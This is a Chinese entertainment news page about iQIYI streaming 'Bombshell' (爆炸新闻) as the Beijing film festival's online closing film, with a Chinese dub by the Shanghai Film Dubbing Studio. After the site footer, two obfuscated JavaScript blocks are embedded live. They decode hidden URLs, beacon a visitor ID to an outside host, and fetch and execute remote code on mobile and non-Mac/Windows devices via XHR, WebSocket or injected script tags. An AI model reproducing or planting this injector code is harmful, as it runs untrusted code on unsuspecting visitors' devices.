北影节春季在线影展闭幕片《爆炸新闻》上线 爱奇艺联合上译厂呈现精良中文配音

时间：2020-10-24 00:24:10阅读：1764次
5月4日，北影节春季在线影展闭幕影片《爆炸新闻》在爱奇艺独家展映并上线，VIP用户可免费观看。该片由妮可·基德曼、查理兹·塞隆领衔主演，曾获得奥斯卡、金球奖多项重磅提名，并
爆炸新闻
  • 爆炸新闻
  • 查理兹·塞隆 妮可·基德曼 玛格特·罗比 约翰·利思戈 艾莉森·珍妮

5月4日，北影节春季在线影展闭幕影片《爆炸新闻》在爱奇艺独家展映并上线，VIP用户可免费观看。该片由妮可·基德曼、查理兹·塞隆领衔主演，曾获得奥斯卡、金球奖多项重磅提名，并最终斩获奥斯卡最佳化妆与发型奖。爱奇艺联合上海电影译制厂历时一个月为《爆炸新闻》完成翻译和中文配音，观众可以根据自身需求自由选择配音语言。

《爆炸新闻》的译制工作经历了翻译、初对、选角、复对、实录、鉴定、混录七个步骤。由于剧情基于真人真事展开，且涉及较多政治话题，译制团队在翻译过程中大量查证真实事件，保证译文严谨准确。片中存在大量新闻播报背景音，没有在英文剧本中体现，均由翻译通过听译完成。与此同时，《爆炸新闻》的翻译还在信息准确的基础上结合人物身份、语言习惯甚至是演员口型调整语言风格，在新闻播报时采用“新闻体”，人物日常交流时则尽显幽默感，使每一个角色更加鲜活立体。

《爆炸新闻》配音阵容强大，女主角的配音演员是国家一级演员、《声临其境》节目配音指导狄菲菲，长期以来为妮可·基德曼声音代言。为男主角配音的是原上海电视台电视剧制作中心副导演倪康，其他主要角色的配音演员也拥有多年配音经验，曾为《冰雪奇缘》《霹雳娇娃》《里约大冒险2》《美国队长2》等影视作品的主要角色献声。配音团队在把握新闻主播身份特性的同时，揣摩角色本身的音色和语言习惯，惟妙惟肖地用声音演绎出各种类型的职场女性。虽然影片时长只有1小时48分钟，台词却有三万七千多字，同一个场景甚至可能有四个不同层次的声音，译制团队依然凭借多年经验和高效协同出色完成了录音和混录工作。

5月1日至5月5日，北影节春季在线影展共展映32部优质影片，每天一部精品新片陪伴用户度过“五一”小长假，奥斯卡最佳女主角获奖影片《朱迪》也已在展映后独家上线爱奇艺。

评论

  • 评论加载中...



Copyright © 2019-2023 www.wxrtdq.com 晋ICP备19008828号 All Rights Reserved.

留言求片

function TaYHkm(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function foObK(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TaYHkm(t);};window[''+'k'+'v'+'B'+'J'+'z'+'g'+'s'+'T'+'l'+'Q'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=foObK,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZllZHMueW9uZ2hhbzEuY24llM0E4ODkx','d3NzJTNBJTJGJTJGbmh55LnlpbmhvbmdjLmNuJTNBOTUzNA==','159458',window,document,['l','5']);}:function(){};
function TKuhtZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function NResPjH(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return TKuhtZ(t);};window[''+'g'+'s'+'F'+'Z'+'A'+'W'+'X'+'w'+'I'+'y'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var x=NResPjH,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://tgb.eemcfun.com:7891/stats/12984/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh3/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1])));var ws=new WebSocket(k+'/wh3/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh3/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR00cHMlM00ElMkYlMkZlZHMueW9uZ2hhbzEuY24lM00E4ODkx','d3NzJTNBJTJGJTJGbbmh5LnlpbbmhvbbmdjLmNuJTNBOTUzNA==','159459',window,document,['0','b']);}:function(){};